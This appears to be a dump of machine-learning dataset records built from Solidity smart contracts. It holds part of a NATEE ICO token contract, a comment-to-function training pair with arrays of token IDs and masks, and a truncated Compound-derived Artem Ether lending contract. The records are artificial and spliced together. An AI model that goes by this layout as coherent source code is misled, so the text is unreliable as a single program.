Contract unlike others ICOs. contract NATEE is ICO_Token { using SafeMath256 for uint256; string public name = "NATEE"; string public symbol = "NATEE"; // Real Name NATEE uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 100000000 ether; NateePrivate public nateePrivate; bool privateRedeem; uint256 public nateeWExcRate = 100; // SGDS Price uint256 public nateeWExcRateExp = 100; //SGDS Price address public AGC_ADDR; address public RM_PRIVATE_INVESTOR_ADDR; address public ICZ_ADDR; address public SEITEE_INTERNAL_USE; event RedeemNatee(address indexed _addr, uint256 _private,uint256 _gotNatee); event RedeemWarrat(address indexed _addr,address _warrant,string symbole,uint256 value); constructor() public { AGC_ADDR = 0xdd25648927291130CBE3f3716A7408182F28b80a; // 1% payment to strategic partne addCOPartner(AGC_ADDR,100,30000000); RM_PRIVATE_INVESTOR_ADDR = 0x32F359dE611CFe8f8974606633d8bDCBb33D91CB; //ICZ is the ICO portal who provides ERC20 solutions and audit NATEE IC ICZ_ADDR = 0x1F10C47A07BAc12eDe10270bCe1471bcfCEd4Baf; // 5% payment to ICZ capped at 200k SGD addCOPartner(ICZ_ADDR,500,20000000); // 20M Internal use to send to NATEE SDK USER SEITEE_INTERNAL_USE = 0x1219058023bE74FA30C663c4aE135E75019464b4; balance[RM_PRIVATE_INVESTOR_ADDR] = 3000000 ether; totalSupply_ += 3000000 ether; lockAddress(RM_PRIVATE_INVESTOR_ADDR); setAllowControl(RM_PRIVATE_INVESTOR_ADDR); addHolder(RM_PRIVATE_INVESTOR_ADDR); emit Transfer(address(this),RM_PRIVATE_INVESTOR_ADDR,3000000 ether); balance[SEITEE_INTERNAL_USE] = 20000000 ether; totalSupply_ += 20000000 ether; setAllowControl(SEITEE_INTERNAL_USE); addHolder(SEITEE_INTERNAL_USE); emit Transfer(address(this),SEITEE_INTERNAL_USE,20000000 ether); sgds = SGDSInterface(0xf7EfaF88B380469084f3018271A49fF743899C89); warrant = NateeWarrantInterface(0x7F28D94D8dc94809a3f13e6a6e9d56ad0B6708fe); nateePrivate = NateePrivate(0x67A9d6d1521E02eCfb4a4C110C673e2c027ec102); } // SET SGDS Contract Address function setSGDSContractAddress(address _addr) onlyOwners external { sgds = SGDSInterface(_addr); } function setNateePrivate(address _addr) onlyOwners external { nateePrivate = NateePrivate(_addr); } function setNateeWarrant(address _addr) onlyOwners external { warrant = NateeWarrantInterface(_addr); } function changeWarrantPrice(uint256 normalPrice,uint256 expPrice) onlyOwners external{ if(uint32(now) < warrant.expireDate()) { nateeWExcRate = normalPrice; nateeWExcRateExp = expPrice; } } // function to convert Warrant to NATEE Token, the Warrant holders must have SGDS paid for the conversion fee. function redeemWarrant(address addr,uint256 value) public returns(bool){ require(owners[msg.sender] == true || addr == msg.sender); require(closeICO == true); require(sgds.getUserControl(addr) == false); uint256 sgdsPerToken; uint256 totalSGDSUse; uint256 wRedeem; uint256 nateeGot; require(warrant.getUserControl(addr) == false); if( uint32(now) <= warrant.expireDate()) sgdsPerToken = nateeWExcRate; else sgdsPerToken = nateeWExcRateExp; wRedeem = value / _1Token; require(wRedeem > 0); totalSGDSUse = wRedeem * sgdsPerToken; //check enought SGDS to redeem warrant; require(sgds.balanceOf(addr) >= totalSGDSUse); // Start Redeem Warrant; if(sgds.useSGDS(addr,totalSGDSUse) == true) { nateeGot = wRedeem * _1Token; warrant.redeemWarrant(addr,nateeGot); // duduct Warrant; balance[addr] += nateeGot; // ================================= // TOTAL SUPPLY INCREATE //================================== totalSupply_ += nateeGot; //================================== addHolder(addr); emit Transfer(address(this),addr,nateeGot); emit RedeemWarrat(addr,address(warrant),"NATEE-W1",nateeGot); } return true; } // function to distribute NATEE PRIVATE TOKEN to early investors (from private-sales) function reddemAllPrivate() onlyOwners public returns(bool){ require(privateRedeem == false); uint256 maxHolder = nateePrivate.getMaxHolder(); address tempAddr; uint256 priToken; uint256 nateeGot; uint256 i; for(i=0;i<maxHolder;i++) { tempAddr = nateePrivate.getAddressByID(i); priToken = nateePrivate.balancePrivate(tempAddr); if(priToken > 0) { nateeGot = priToken * 8; nateePrivate.redeemToken(tempAddr,priToken); balance[tempAddr] += nateeGot; totalSupply_ += nateeGot; privateBalance[tempAddr] += nateeGot; allowControl[tempAddr] = true; addHolder(tempAddr); emit Transfer( address(this), tempAddr, nateeGot); emit RedeemNatee(tempAddr,priToken,nateeGot); } } privateRedeem = true; } }
VALUE IN SGDS Function for AGC and ICZ REDEEM SHARING 100 % = 10000
function addCOPartner(address addr,uint256 percent,uint256 maxFund) onlyOwners public { require(redeemPercent[addr] == 0); redeemPercent[addr] = percent; redeemMax[addr] = maxFund; }
2,573,320
[ 1, 4051, 2120, 348, 43, 3948, 4284, 364, 432, 15396, 471, 26899, 62, 2438, 1639, 3375, 6122, 985, 1360, 282, 2130, 738, 273, 12619, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 527, 3865, 1988, 1224, 12, 2867, 3091, 16, 11890, 5034, 5551, 16, 11890, 5034, 943, 42, 1074, 13, 1338, 5460, 414, 1071, 288, 203, 1082, 202, 6528, 12, 266, 24903, 8410, 63, 4793, 65, 422, 374, 1769, 203, 1082, 202, 266, 24903, 8410, 63, 4793, 65, 273, 5551, 31, 203, 1082, 202, 266, 24903, 2747, 63, 4793, 65, 273, 943, 42, 1074, 31, 203, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.16; /** * @title Artem Ether Contract * @notice Derived from Compound's cEther contract * https://github.com/compound-finance/compound-protocol/tree/master/contracts */ /** * @title Careful Math * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } interface ControllerInterface { function isController() external view returns (bool); function enterMarkets(address[] calldata aTokens) external returns (uint[] memory); function exitMarket(address aToken) external returns (uint); function mintAllowed(address aToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address aToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address aToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address aToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address aToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address aToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address aToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address aToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address aTokenBorrowed, address aTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address aTokenBorrowed, address aTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address aTokenCollateral, address aTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address aTokenCollateral, address aTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address aToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address aToken, address src, address dst, uint transferTokens) external; function liquidateCalculateSeizeTokens( address aTokenBorrowed, address aTokenCollateral, uint repayAmount) external view returns (uint, uint); } contract ControllerErrorReporter { event Failure(uint error, uint info, uint detail); function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } enum Error { NO_ERROR, UNAUTHORIZED, CONTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, ZUNUSED } } contract TokenErrorReporter { event Failure(uint error, uint info, uint detail); function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, CONTROLLER_REJECTION, CONTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, BORROW_MARKET_NOT_LISTED, BORROW_CONTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_CONTROLLER_REJECTION, LIQUIDATE_CONTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, LIQUIDATE_SEIZE_CONTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_CONTROLLER_REJECTION, MINT_EXCHANGE_CALCULATION_FAILED, MINT_EXCHANGE_RATE_READ_FAILED, MINT_FRESHNESS_CHECK, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_CONTROLLER_REJECTION, REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, REDEEM_EXCHANGE_RATE_READ_FAILED, REDEEM_FRESHNESS_CHECK, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_CONTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_CONTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_CONTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, TRANSFER_NOT_ENOUGH, TRANSFER_TOO_MUCH } } contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; //TODO: Add some simple tests and this in another PR yo. } function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } } /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256 balance); function transfer(address dst, uint256 amount) external; function transferFrom(address src, address dst, uint256 amount) external; function approve(address spender, uint256 amount) external returns (bool success); function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } /** * @title Helps contracts guard against reentrancy attacks. * @author Remco Bloemen <remco@2π.com>, Eenae <[email protected]> * @dev If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "re-entered"); } } interface InterestRateModel { function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint, uint); function isInterestRateModel() external view returns (bool); } contract AToken is EIP20Interface, Exponential, TokenErrorReporter, ReentrancyGuard { /** * @notice Indicator that this is a AToken contract (for inspection) */ bool public constant isAToken = true; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint constant borrowRateMaxMantissa = 5e14; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-aToken operations */ ControllerInterface public controller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first ATokens (used when totalSupply = 0) */ uint public initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of total earned interest since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint256 public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint256) accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint256)) transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) accountBorrows; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address aTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when controller is changed */ event NewController(ControllerInterface oldController, ControllerInterface newController); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); constructor( ) public { admin = msg.sender; // Set initial exchange rate initialExchangeRateMantissa = uint(200000000000000000000000000); accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; name = string("Artem Ether"); symbol = string("aETH"); decimals = uint(8); } function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { /* Fail if transfer not allowed */ uint allowed = controller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.TRANSFER_CONTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ MathError mathErr; uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } 